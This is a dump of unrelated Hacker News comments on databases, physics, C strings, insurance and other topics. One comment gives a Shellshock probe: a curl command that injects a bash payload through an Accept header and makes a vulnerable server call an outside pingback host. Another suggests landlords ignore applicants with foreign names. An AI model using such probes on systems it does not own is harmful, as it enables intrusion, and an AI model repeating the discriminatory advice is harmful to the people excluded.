skysight-inc/HackerNews huggingface dataset:
All of the vanguard funds have graphs charting the returns year over year since the fund was created.

The ones that crashed and burned in the recession are the ones most likely to provide a high return in a bull market, there are plenty that were largely unaffected by the recession (mostly securities) but you won't benefit as much from a bull market with those.

I have a blend of different funds.
Now that all the physicists are reading, I have a question: Are the trajectories of light beams following the curvature of space-time reversible? In other words, if I reflect a light beam back on itself, does it return to its source?

Because if that's true (and my feeble understanding is that it is true), then light can't enter a black hole or the reverse path would allow light to escape. What am I missing here?
No, Entirely possible (Although last time I tried that download times were 48hours+)! I was just wondering if at this point the positives outweighed the reduced battery life, and the apparent bugs. Seemed like it might not have been worth it at this point.
Turn JavaScript into a proper OOP-language
Probably because postgres can do what mongo does just as well, and is a full RDBMS.

Take a look at postgres hstore with a gin index.
Just downloaded the PDF, I am not a physicien nor a mathematicien.

but from what I read in the article the EQ 13, is the weakness of their argumentation.

AA
Better than any other open source project. Linux is, I believe, second to Wikipedia as the largest collaborative project in the history of the world.

(Although, unfortunately, they hide the report behind an email wall, so here's a summary.)

http://www.zdnet.com/who-writes-linux-almost-10000-developer...
Google's 'Project Loon' balloons will ring the globe within a year
It's a man's world at Google, as at other tech companies.
Apple Pulls iOS 8.0.1 Update Amid Reports of Problems
Is there a mirror of this anywhere? I can't get to it right now.

Edit: working again
... but certainly someone could accuse you of being a racist because you didn't rent to them. So it's quite natural you as a landlord would prefer to have only candidates of same race and same nationality (not difficult at all, just don't respond to anyone with a foreign name)
Try forcing more 'anti-discrimination' laws and people will rather keep the appartment unoccupied than risk being taken to court
I believe they're referring to this: http://www.phdcomics.com/comics/archive.php?comicid=1431
Vuzix Smart Glasses Get Offline Nuance Voice Control
4+ years later, Issue 909 (Conservative GC) bug is being marked fixed
Any time someone says something won't work, what they should be saying is "No one has figured out how to make this work yet".
An open market increases the price of vulnerabilities

What's your logic behind this? I believe this to be false. To my knowledge the black market commands artificially high prices on illicit goods as a rule, except when the good is available on the open market. See:

1) The goods are stolen and need to be unloaded quickly.

2) Open market prices are artificially high thanks to things like taxes (example: alcohol, cigarettes)
Start-ups and Human Resources: Love or Hate?
Such lols for their poorly photoshopped hd vs 4k image. Like they said themselves just next to the image, it's 4 times more pixels, not 1000 times more pixels like that image seems to suggest.
Their boundery limit pose a problem, and then the entire solution in the extending (prior explosion) the radius is greater the rs, and so all the fellowing integral are wrong. but I will wait for Hawking opinion :)
Ah, thanks. Yes, tested it exactly on OSX and CentOS.
The Future of Secure Mobility
So, you think you want a reptile?
Every time I need to unlock developer settings in a recent Android phone I get a little nostalgic for the codes of old.

If you're of that era you likely also remember...

007 373 5963

...and...

JUSTIN BAILEY

------ ------
The first four chapters are written with the ProfessorJ teaching environment in mind (cf. page xiii).

http://www.professorj.org/

For the later chapters, the reader is encouraged to explore the concepts within a full-fledged Java or C# development environment such as Eclipse, IntelliJ, Visual Studio, etc.
> And now it seems, while still nowhere as haphazard as the streaming selection, the company’s once reliably complete DVD selection is becoming less so all the time.

Here's another one...

> “My experience is that you end up with a bunch of things that have a very long wait and then they never come,” he said. “Things that were once available aren’t anymore.” Nine of the films at the top of his DVD queue are very long waits, he said, “sitting there forever.”
JavaScript is a "proper object oriented language", it just lacks classical inheritance.
Exactly what I thought when seeing the video. I don't want scientific funding to go to those who manage to produce the best quality 3 minute promotional video.
You've still denied the original producer a potential sale. the person you sold your phone to might have bought one directly from apple instead.

So by the other commenters line of reasoning, you have stolen "value"

The fact that the phone is physical has nothing to do with the line of reasoning being presented.

I am not arguing that piracy should be totally fine and theres nothing being done wrong, I'm simply disagreeing that copyright infringement is the equivalent of theft
If there weren't anything else I wanted, yeah, I would. I don't know a lot of people who buy things they don't want just to get rid of money. Maybe the obscenely wealthy or very compulsive people, but most people I know only part with their money in exchange for things they want, and otherwise are glad to keep it until they find something they do want. (They may not be fastidious about how much of their money they're parting with compared to how much they want the things, but it doesn't seem like they part with money just to be rid of it.)
if lots of clients share data on the endpoint, then a delta invalidates a cdn.
Five problems Google faces in the next 10 years
I'm not into Physics, but should not the space stretch itself to infinity so the light will never actually reach the mirror ?
I would like to think that the existing funding of research has mechanisms in place to fund the "best" types of research, which makes me ask why the need for crowd funding? It sounds cool initially but having seen some nonsense that was crowd funded I am not so sure.

http://physics.stackexchange.com/questions/39456/the-z-torqu...

The article talks about the research being patent free, but surely there are options available to fund research that allow this, or am I wrong?
I don't know about the author, but I've found MongoDB to have very poor performance compared to Postgres.
The Apple Executive Responsible for Catching Bugs
With a normal hash table, you'd acquire either a table-wide lock or every per-bucket lock before resizing the table. With this algorithm, readers can continue to run concurrently with the resize, and the concurrent resize will never cause a reader to incorrectly fail to find a hash element.
Ask HN: What's your favorite GitHub-enabled kanban board?
A quick search shows several competitors in the space, but it's not immediately clear what the key differentiators are. The all have GitHub issue integration, i.e. there's a 1:1 mapping between moving a card to done and closing an issue. Are there other features people have found valuable that exist in one vs. another?
That would occur in something C11+, but Microsoft has yet to implement even C99.
Well, "linked" is vague. They aren't linked—they are the same thing! Gravity is an effect mass has on the upholstery of the universe. Time runs slower for us here inside the gravity well of Earth than it does for astronauts in zero gravity.

You can't create time distortions without gravity distortions, and you can't create gravity distortions without instantiating mass, so... big massive black holes have to be running slow; if they exist at all and aren't just cosmic bees sitting at the 2D boundary of the universe and projecting nothingness into our inflated space.
Seems like this would've been a completely ideal place to rock some mongo_fdw, which would give postgres the ability to query and extract data directly from mongo. https://github.com/citusdata/mongo_fdw
Lol no. On many levels. MacOS does implement separate daemons, but they're all very tightly integrated, communicating over a common protocol. The core components hardly run in isolation, nor are they interchangeable. You don't, for example, just replace launchd with some other init system. You don't just say "hey, screw Aqua I want to use something else." (You can run other WMs through X11, but only on top of Aqua) Darwin is a bit more BSD-like, but nobody actually uses Darwin without the rest of MacOS.

And seriously, systemd isn't one single daemon either. It's a collection of daemons running that communicate over a common protocol. It isn't all-or-nothing, either. Only a few of the daemons are considered "core" and the rest are optional. And, because they use a common documented protocol, even the core components can be replaced. You don't hear about alternatives because nobody has really written any, but it doesn't in any way prevent you from doing it.

I think the legitimate concerns about systemd are things like losing portability of stuff like Gnome to BSD and systemd's short history, but it isn't one giant monolith executable or anything like people say.
Same for Cisco NX-OS...
Safe string handling in C can be done, but not with char*.

PHP's Zend Engine has safely-handled strings, for example, but we do that by reference-counting them and having an explicit length.
Link to previous HN submission 2 years ago (it has moved on since then):

https://news.ycombinator.com/item?id=4373334
Quote: "Experimental evidence may one day provide physical proof as to whether or not black holes exist in the universe. But for now, Mersini-Houghton says the mathematics are conclusive."

Not as conclusive as the evidence for black holes. Remember that the article's hypothesis requires proof that black holes do not exist -- in other words, proof of a negative. Proof of a negative is generally regarded as an impossible evidentiary burden, and calls into doubt the hypothesis that relies on it.

There's pretty good evidence for very large, very dense masses at the center of most galaxies including our own. The default conclusion based on the evidence is that they're black holes -- they have the right mass and density.

We should all remember that a mathematical theory isn't a scientific theory until observation bears it out (produces positive evidence), and to the exclusion of competing explanations.
As someone who moved from the UK to US under almost identical conditions, let me say this: If you have a job that offers health insurance 99% of the time you will be better off taking that health insurance rather than buying it directly from the exchanges.

Why? At least two reasons:

1. Employers are in a stronger negotiating position as insurance companies really fight for the business (it is for multiple people, so even if each one is less profitable the entire account will be more profitable with less overhead, so they WANT it).

2. The people buying directly from exchanges are higher risk/greater cost. They're normally poorer, self employed (which includes a lot of people in physically demanding professions as well, who get injured often), and some are early retirees (pre-medicare age, but still "older").

Plus the biggest reason is that almost all employers pay a % of your health insurance premium. If you go with the exchange you're paying 100% (of a higher base) rather than 70% of a lower one. So unless your employer has simply terrible health insurance, it is almost never a better idea from a financial perspective to go private.

If you're really paranoid about it, just take the employer health insurance, assuming they pay 30% and you pay 70% of the premium, take an equivalent amount out of your pay and save it (e.g. save 30% of the premium a month). Since that is what you would have been paying privately anyway (100%), now you're just using the employer's cut to save for a rainy day.

Personally if it was up to me employer provided health insurance should be banned in the US and everyone (aside from the US Military) should be required to go out and get private coverage (e.g. car insurance). That way the prices come down, competition goes up, and certain demographics (unemployed, self-employed, early retirees, etc) aren't unfairly "punished."

But I don't see that happening any time soon (or ever) because employer provided health insurance is too heavily ingrained in US culture. Nobody even discussed destroying that link during the ObamaCare debates. So whatever...

For now, until things change, employer is the way to go.
OS X inherited it from FreeBSD. VC++ is a c++ compiler and any c support is incidental. I suspect this won't be included in c++17.
Are there not public grants available it this stage?
IANA physicist, but I have a pretty good intuitive understanding of relativity. Yes, light paths are reversible. The reason you can't get a beam of light out of a black hole by reflecting an incoming beam is that from the point of view of an observer outside the event horizon, and inbound beam never makes it past the horizon inbound because of time dilation. At the horizon, time stops (relative to frames of reference outside the hole).
I cook up to three times a day and eat five meals every day. My schedule literally revolves around food. And yes, I work nonstop at my computer all day.

Therefore I'd love to take you up on the Gobble invite offer. I need to try this. -> swizec@swizec.com
> So instead of the "black hole" being massive, it could be that time is running fast!

I would have put it the other way around. Time passes more slowly near large masses relative to other locations.
Look at performance numbers:

http://thebuild.com/presentations/pg-as-nosql-pgday-fosdem-2...

Furthermore, consider that PG is pretty much an amazing RDBMS in addition to having a good document story.
Apple developed Swift to make developer's more expressive and efficient yet they do not provide simple controls like this. Can't tell you how many hours I wasted in the chat portion of my app trying to get a simple growing text input to work!
If you can always be right about every drug, every time, at every stage, then perhaps quite a bit. Of course, multiple years of trials is still going to be very expensive.

A lot of the costs seem to be linked to the fact that failures are common at every stage. Which is why there is a lot of time, money, and energy being put into reducing failure rates.

There's not an easy "insert disruption here" point.
thanks a lot @aaronbrethorst!
The Wrist and the Smartwatch
Umm... Isn't a 50 million row export / import usually an hour long task... tops.. I mean assuming you have the scripts?

Dump the first DB, import into the second? Maybe a couple ETL scripts in between to massage the data?

This task sounds like monodb_dump export_db (or whatever they call their backup tool) | etl.sh | psql -d import_db. Of course shell scripts probably aren't 'webscale' enough to handle 150 GB of data.

Protip: When IO is saturated, make the IO sequential before ever even thinking about threads. Exactly how are more CPUs supposed to make the disk faster? The best you'll do is exploit the command queue more fully.
Unless you're asserting that you have figured it out, I don't understand why you'd point this out.
And then you could use mongres when you eventually decided to replace that Mongo server without confusing the original PG database. It's elephants all the way down! :)
Very good points there. I worked for an aerospace and defence company for a bit as an electrical engineer. Our software was always read into RAM, checksummed, the RAM was write protected via a register and only then the code was executed. The bootloader was a mask ROM. That was all just to work around the possibility of bit flips in EPROMs.
It really isn't that unclear, to me at least. If it's unclear to other programmers, I think that's only because gotos have fallen so far out of fashion that they look alien now. That's really a shame, because there are cases for the elegant use of goto, and I think the retry() code above is one of them.

You argued earlier that there was no point in making this optimization in the first place, since it probably wasn't contributing a significant delay in the application (which I disagree with on the grounds that we don't know what retry() might be used for), but now you're saying that it shouldn't be done this way because the compiler might later do a better job of optimizing a standard loop.

As others have pointed out, there are some good reasons not to expect PHP's bytecode runtime to match the optimizations of other software compilers. Without knowing in advance exactly how many times the function call embedded in retry() will be repeated -- which seems pretty unlikely -- there's no good way for the compiler to unroll the loop more efficiently than has already been done here with the straightforward application of a goto.

Sure, in general, don't be too clever. (Rather, "don't be cruel to future programmers".) I agree. But, I think there's a far greater danger of programmers blindly following guidelines like "don't use goto" without consideration.

So while there probably isn't a good argument for writing this function this way, there also isn't a good argument against it -- which is what makes all of the discussion around it so funny.
The base FreeBSD installation comes with 2 shells - tcsh and sh (not bash!). However many do install bash.

https://www.freebsd.org/doc/handbook/shells.html
Very true. My simplified one on the parent comment of that one makes no attempt to involve Unicode or character ranges for precisely that reason!
Awesome. Can you make that an app for offline use?
Hilarious. Payment collection fee for ... something that is easier and doesn't require collection? Than a cheque, which does require both collection and deposit, and isn't immediate, and, and ...

This sounds even more pathetic than those sad businesses having "handling fee" surcharges for getting your bills online. As if there was actually a secretary typing all those numbers into excel and uploading them to the website manually.

My god do I hate artificial difficulty.
It was. We call it the Konami code internally. :)
Much easier to implement a custom captive shell (default login shell for user) then to mess with the crypto system.
That is usually accomplished through project based consulting with a maintenance clause in the contract. Nothing too out of the ordinary.

You are on track as it is more lucrative to create apps for others than it is to try to sell your own apps on the app stores.
That adds quite a bit of latency to your database, which is already frequently the bottleneck.

In reality, most of what Mongo does can be done just as well if not better in Postgresql 9.3 (and I hear good things about 9.4). Then you can simultaneously have structured data via postgres
My understanding is that strlcpy() exists to update existing programs that use NULL-terminated char arrays as strings. New programs should probably use some other more sophisticated implementation of strings, such as Git's strbuf:

https://github.com/git/git/blob/master/strbuf.c

https://www.kernel.org/pub/software/scm/git/docs/technical/a...
I usually use strncpy and enforce null at end, that virtually is the same that does a strlcpy.

But if you know how long is the source and destiny buffers (and if you are using str[nl]cpy, probably you know it), you could use memcpy and get a much more faster copy.
PostgreSQL as a Schemaless Database (2013) [pdf]
The meal you described sounds bland and not particularly healthy. It's little more work than heating frozen food for little advantage.
I learned basic on a atari 800 i got for christmas because our bundle included the cartridge. After about 6 months i managed to get my parents to buy me a tape drive so i wouldn't have to retype programs completely out each time.

I think my biggest day of my programming life was when i got an advanced book that showed me what gosub was for.
Somewhat related, but have you ever tried entering the konami code on reddit. At least, it used to do something cool.
Wondering the same thing - What was the slow part, reading from Mongo or writing to Postgres?

It should not be the latter, unless there are a lot of indexes that were not dropped before the bulk load, or the ETL works one...row...at...a...time...

Even a simple 'mongoexport --csv | psql -c "COPY FROM stdin"' should faster for 50M records.
one. word. clojure.
This is quite stealthy way to scan, as Accept headers are generally not logged:

curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com'

Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.
How to model a doorknob, functionally
Hydrocarbons Unleash an Angry God
Routers definitely have shells, it's just a matter of whether it's bash or something else that might also be vulnerable.
I have indeed lived in europe and what sounds ludicrous to me is that people not only have to deal with this but accept it as the norm. What the hell do landlords get out of this? The joy of having to run to the bank every xth of the month?

I don't know about you but my bank is more like a public toilet than a bakery. I wouldn't go there unless there was an emergency, and even if there was I'd consider a dark alley over it.

(brought to you by the Department of drawn out metaphors)
It does seem like it should be faster, but this isn't a vanilla export/import. He is going from unstructured to (I assume) structured data. So he needs to deduplicate and possibly do other operations on the data before importing
I too build modern async web apps for a living and I think anyone who says it's not hard (or at least complex) is either lying or in denial.

And there's eCommerce and then there's eCommerce. Recurring weekly subscriptions with moving parts are hard. Amazon Subscribe&Save is a mess and I haven't heard of anyone who's had a good experience with that. And Amazon probably devoted much more engineering power to that problem than people at a startup can.

Sometimes hardness isn't a result of poor design, but the result of things being complex. Especially if (as in a startup) your definition of "things" is changing rapidly because you're still not sure what exactly you are building.
Testing Flux Applications
A winner is you, my friend.
Monkey Patches and MP3s – Exploring Dangerous Design Patterns in Node.js
SDS[0] from the creator of Redis is also useful. It doesn't do reference counting, but is helpful for many other string manipulation issues.

[0] https://github.com/antirez/sds
Hi there,
this is Jakub, Co-Founder of Estimote (YC S13).
Our Indoor Location SDK was designed specifically for Estimote Beacons (the bigger one with bigger battery, not the stickers). Estimote Beacons with their adhesive layer were designed to be sticked to walls vertically. Thanks to their position and antenna orientation we are able to "estimate" position of the user inside the building. Indoor location is also power-consuming for beacons while they broadcast a bit more often, so we can do better math while analyzing data.
Stickers were designed for movable objects with much shorter range and a bit longer advertising intervals.
I don't understand why you would want to emulate a native experience within a web app. When I'm using a web app, I expect it to behave like a web app. I find it very annoying if it doesn't.
I ask this with all respect for the suffering your father goes through but I am genuinely curious... Has he tried THC in any form (smoke a joint, pill extract)? I have heard of great pain relief from other diseases, and wonder if there would be any relief provided by medicinal marijuana?
Seconded. I've been patched for ~40 minutes on DO.
List of suggested extensions to CSS (1998)